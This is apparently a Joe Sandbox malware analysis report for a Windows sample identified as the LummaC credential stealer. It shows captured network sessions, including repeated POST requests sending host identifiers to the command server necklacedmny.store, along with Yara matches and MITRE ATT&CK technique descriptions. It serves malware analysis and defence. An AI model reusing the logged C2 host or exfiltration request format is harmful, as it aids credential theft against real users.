zl8zcivQ7Ig2kQj6ovyBVzbJU9y30bsT1yq8LWyYIWGACHJ6LdnggDSeC7Dlt4pEcp0a9pbl/Dfsbq9pc9slYs9fOjZgle+Xcs9Hn/u3iEk2jl3q0OP1crUqr2pz3iNhwVY6cybR6Yk0lAi+6b2JS3qfGfKR6PI95m/jLTXfPi2YEAN1OML4g3KISaOsu4oPLtES4Zru9zfib6BsctUgYcpZOnAh3PqMPpkAtOCyi0V1nFO90OPhcrUqj2R49i1
2024-10-28 10:22:08 UTC	1369	IN	Data Raw: 32 51 38 6c 61 62 50 4e 59 39 48 34 71 79 4b 67 56 39 6d 6b 6c 48 43 68 75 66 76 4f 65 42 6d 34 33 77 37 77 57 5a 71 7a 42 42 71 4e 69 6a 61 34 59 77 39 6c 67 36 32 34 62 6d 50 53 6e 65 58 46 2f 6d 61 35 50 38 30 37 47 2b 70 59 48 54 53 4c 32 72 49 56 7a 46 6b 62 70 75 6f 69 43 72 58 58 2f 72 46 75 35 52 42 5a 74 45 4d 76 59 6d 6b 2f 6a 36 74 4d 75 4e 6e 66 39 63 69 61 73 78 57 4e 33 41 6a 31 4f 65 4f 4d 70 67 44 73 65 57 36 68 30 4a 7a 6e 42 66 68 6d 75 2f 32 50 75 52 6d 72 69 4d 37 6d 43 46 31 67 41 68 79 52 79 50 62 35 6f 67 6b 31 78 6a 30 39 66 79 42 51 7a 62 4a 55 2f 4b 63 36 2f 6f 39 37 6d 6d 69 61 57 66 4b 4b 6d 54 49 56 54 35 39 49 4e 50 36 69 54 32 65 42 4c 6e 6c 75 34 35 44 66 4a 49 55 73 39 36 6b 2f 69 71 74 4d 75 4e 41 59 73 67 72 4c 64 38 65 Data Ascii: 2Q8labPNY9H4qyKgV9mklHChufvOeBm43w7wWZqzBBqNija4Yw9lg624bmPSneXF/ma5P807G+pYHTSL2rIVzFkbpuoiCrXX/rFu5RBZtEMvYmk/j6tMuNnf9ciasxWN3Aj1OeOMpgDseW6h0JznBfhmu/2PuRmriM7mCF1gAhyRyPb5ogk1xj09fyBQzbJU/Kc6/o97mmiaWfKKmTIVT59INP6iT2eBLnlu45DfJIUs96k/iqtMuNAYsgrLd8e
2024-10-28 10:22:08 UTC	1369	IN	Data Raw: 7a 75 69 44 53 5a 46 62 2f 71 73 34 6c 47 66 35 55 62 38 4a 44 67 2f 54 58 6f 61 61 39 6f 63 74 73 70 61 63 6c 65 4f 33 6c 75 6d 36 69 49 4b 74 64 66 2b 73 32 6e 68 55 4e 37 30 51 79 39 69 61 54 2b 50 71 30 79 34 32 39 37 33 53 5a 6e 78 6c 51 33 63 43 54 51 36 49 51 78 6d 41 4f 38 36 4c 4f 47 52 48 2b 51 46 66 61 61 37 2f 38 2f 37 6d 79 6c 49 7a 75 59 49 58 57 41 43 48 4a 57 4e 64 6a 6b 69 48 4b 49 53 61 4f 73 75 34 6f 50 4c 74 45 59 2f 35 54 6a 2b 54 2f 75 59 71 5a 6e 66 39 30 6d 5a 64 4a 59 4d 6e 45 38 78 2b 69 47 4e 35 73 45 75 75 69 36 6a 30 6c 31 6c 56 4f 39 30 4f 50 68 63 72 55 71 6a 6d 39 79 38 53 46 32 67 45 39 38 62 32 37 53 35 4d 39 71 31 77 61 78 35 72 4f 4c 54 48 43 53 47 50 61 61 35 66 34 36 34 48 69 67 62 48 72 63 4a 6d 4c 47 56 6a 4e 35 4b Data Ascii: zuiDSZFb/qs4lGf5Ub8JDg/TXoaa9octspacleO3lum6iIKtdf+s2nhUN70Qy9iaT+Pq0y42973SZnxlQ3cCTQ6IQxmAO86LOGRH+QFfaa7/8/7mylIzuYIXWACHJWNdjkiHKISaOsu4oPLtEY/5Tj+T/uYqZnf90mZdJYMnE8x+iGN5sEuui6j0l1lVO90OPhcrUqjm9y8SF2gE98b27S5M9q1wax5rOLTHCSGPaa5f464HigbHrcJmLGVjN5K
2024-10-28 10:22:08 UTC	1369	IN	Data Raw: 78 67 51 54 39 30 6f 4b 68 57 58 79 57 41 2f 53 48 36 37 6c 38 72 57 58 6a 4f 30 79 59 4c 32 72 62 51 53 52 37 50 74 4b 6f 73 48 7a 58 48 2f 71 30 2f 4c 4e 4d 65 4a 38 55 35 59 47 70 33 69 54 6e 62 62 4e 6b 59 74 64 6d 49 34 42 57 63 69 35 39 6d 36 69 4c 49 39 64 66 36 72 37 6e 30 78 77 68 77 55 48 73 33 76 32 35 4a 4b 30 79 38 53 30 31 79 6d 59 31 67 42 63 78 5a 44 7a 54 36 35 6b 78 30 44 6d 45 79 36 61 4c 53 57 47 41 4c 63 32 58 2f 76 51 30 2b 6e 76 76 64 6e 62 57 4b 47 72 57 45 48 77 32 49 5a 57 77 74 6e 4c 66 52 34 57 69 2f 4a 34 50 4c 74 45 6d 38 4a 37 71 2f 69 54 38 4a 34 52 35 65 4e 34 78 66 49 41 65 63 6e 42 75 6a 62 6a 42 63 70 4d 57 2b 72 54 73 31 42 51 6a 77 6b 53 6a 77 76 75 33 4b 36 31 38 34 7a 73 6e 6c 6d 5a 2f 67 41 68 79 4d 53 33 48 2b 6f Data Ascii: xgQT90oKhWXyWA/SH67l8rWXjO0yYL2rbQSR7PtKosHzXH/q0/LNMeJ8U5YGp3iTnbbNkYtdmI4BWci59m6iLI9df6r7n0xwhwUHs3v25JK0y8S01ymY1gBcxZDzT65kx0DmEy6aLSWGALc2X/vQ0+nvvdnbWKGrWEHw2IZWwtnLfR4Wi/J4PLtEm8J7q/iT8J4R5eN4xfIAecnBujbjBcpMW+rTs1BQjwkSjwvu3K6184zsnlmZ/gAhyMS3H+o
2024-10-28 10:22:08 UTC	1369	IN	Data Raw: 39 4b 79 6b 78 68 63 32 70 42 44 39 6e 75 50 76 49 36 42 4e 72 57 52 30 7a 6a 5a 36 7a 78 42 38 4e 69 69 56 73 4e 31 38 31 77 4f 72 72 4f 54 57 48 53 33 45 51 4b 54 41 74 75 5a 38 39 43 71 31 49 79 32 4b 61 43 33 53 45 47 6f 32 61 64 62 36 6e 54 53 55 45 62 6d 72 67 72 68 6f 65 4a 59 53 35 59 44 7a 39 6e 33 44 58 49 4a 64 53 38 30 6c 59 38 35 58 4a 47 64 75 6d 36 69 41 63 73 38 2b 2b 71 54 38 75 51 45 32 69 56 4f 72 30 4e 48 36 50 4f 4e 74 74 58 49 34 2f 79 68 71 77 55 59 69 59 53 47 61 78 72 6b 54 31 30 6e 36 36 76 7a 65 48 54 6a 52 46 2b 4c 51 76 4b 6c 67 74 6a 2f 77 4e 43 57 4b 4f 53 50 5a 45 43 51 32 64 6f 65 6d 7a 79 44 58 58 2f 71 72 76 35 52 64 63 4a 49 46 38 4e 66 61 78 78 58 6a 62 61 4a 31 5a 64 55 71 54 4d 4e 42 4f 45 67 51 77 4f 75 42 50 4a 41 Data Ascii: 9Kykxhc2pBD9nuPvI6BNrWR0zjZ6zxB8NiiVsN181wOrrOTWHS3EQKTAtuZ89Cq1Iy2KaC3SEGo2adb6nTSUEbmrgrhoeJYS5YDz9n3DXIJdS80lY85XJGdum6iAcs8++qT8uQE2iVOr0NH6PONttXI4/yhqwUYiYSGaxrkT10n66vzeHTjRF+LQvKlgtj/wNCWKOSPZECQ2doemzyDXX/qrv5RdcJIF8NfaxxXjbaJ1ZdUqTMNBOEgQwOuBPJA
2024-10-28 10:22:08 UTC	1369	IN	Data Raw: 49 55 4e 52 35 77 58 35 59 58 6e 36 54 58 54 56 49 35 78 63 73 67 6c 4c 2b 78 58 50 33 6f 51 36 39 2b 65 4e 59 64 46 6e 4f 2b 71 68 51 38 34 30 51 75 7a 79 4b 54 55 49 4f 70 36 6f 43 46 5a 33 79 74 68 67 45 39 38 62 32 37 44 71 4e 64 68 32 55 65 6f 72 4f 54 47 43 48 57 44 41 66 57 54 38 76 70 31 30 31 53 4f 63 58 4c 49 4a 53 2f 78 58 54 5a 67 4f 39 62 34 69 41 79 70 4b 71 6a 72 72 49 55 4e 55 36 74 52 77 6f 62 6e 2b 54 7a 71 4b 75 30 6a 62 5a 68 2b 4c 65 31 43 4e 57 59 74 6c 38 32 31 63 4b 59 52 75 65 79 79 67 51 39 70 33 77 71 7a 68 71 53 68 59 61 4d 71 73 53 4d 74 6d 47 46 6a 7a 56 45 78 65 43 33 48 2b 6f 6b 78 67 51 54 39 30 6f 4b 70 52 48 65 42 48 75 4b 64 34 4f 38 4d 30 30 32 6c 5a 6e 4c 6d 47 46 72 52 56 79 49 30 43 4e 62 2b 6a 48 4c 5a 52 36 4b 73 Data Ascii: IUNR5wX5YXn6TXTVI5xcsglL+xXP3oQ69+eNYdFnO+qhQ840QuzyKTUIOp6oCFZ3ythgE98b27DqNdh2UeorOTGCHWDAfWT8vp101SOcXLIJS/xXTZgO9b4iAypKqjrrIUNU6tRwobn+TzqKu0jbZh+Le1CNWYtl821cKYRueyygQ9p3wqzhqShYaMqsSMtmGFjzVExeC3H+okxgQT90oKpRHeBHuKd4O8M002lZnLmGFrRVyI0CNb+jHLZR6Ks

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	188.114.96.3	443	3532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 10:22:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-28 10:22:09 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 38 43 37 43 42 37 36 43 46 44 32 41 43 42 41 42 36 45 44 41 43 41 37 34 37 38 46 32 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8F8C7CB76CFD2ACBAB6EDACA7478F285--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49984	188.114.96.3	443	3532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 10:23:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-28 10:23:06 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 38 43 37 43 42 37 36 43 46 44 32 41 43 42 41 42 36 45 44 41 43 41 37 34 37 38 46 32 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8F8C7CB76CFD2ACBAB6EDACA7478F285--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49985	188.114.96.3	443	3532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 10:23:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-28 10:23:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 38 43 37 43 42 37 36 43 46 44 32 41 43 42 41 42 36 45 44 41 43 41 37 34 37 38 46 32 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8F8C7CB76CFD2ACBAB6EDACA7478F285--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 10:23:08 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-28 10:23:34 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 10:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qmhv8gvs6e7ev485cplh362g7j; expires=Fri, 21 Feb 2025 04:09:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3PS2K2TjjTEDowWA3OQWlelUva4h2xNe7yAL0VXVwuCzcTOGpS9tC5Tx6HdDP2zb63JXhlctz%2BCIHd6vSNXJQ8Ue3Bd6B5dJT8UhU02vLnlRbPrl6%2FAwOzfZwPv5K9B3gEf6Ou0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a356d09cc4600-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1949&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=20932&delivery_rate=1464845&cwnd=251&unsent_bytes=0&cid=d79d624ad788bb66&ts=26123&x=0"
2024-10-28 10:23:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 10:23:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:22:04
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc70000
File size:	2'930'688 bytes
MD5 hash:	37781614F7D738BB78329C8B6349DDD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2167473505.0000000000778000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2167089999.0000000000778000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2755327475.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 006FA354 Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3053674176.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, Offset: 006F4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6f4000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d867b6ad2df787340497a333357e7151f78ce091b220c24f953be93c094d5ae
Instruction ID: 568bbb5c2dfd261045c768d78dbe1b03dfa7eaa3c2e40e3d7a5d47abd9d1cd22
Opcode Fuzzy Hash: 5d867b6ad2df787340497a333357e7151f78ce091b220c24f953be93c094d5ae
Instruction Fuzzy Hash: 62A1FDA144E7C54FD7078BB499394A17FB1AE2321471E82DBC8C9CF4B3E259894AD323

Function 00720BD9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2755327475.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Offset: 00713000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_713000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction ID: abeb9c333611569268aa6996a0ee85e8fcb741893f1c26b5fe7e4660a0184a56
Opcode Fuzzy Hash: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction Fuzzy Hash: FC2134651092E08FC303CF34E594A82BFA1FF8B31639E40DCC8C19F427C2A5A542CB52

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

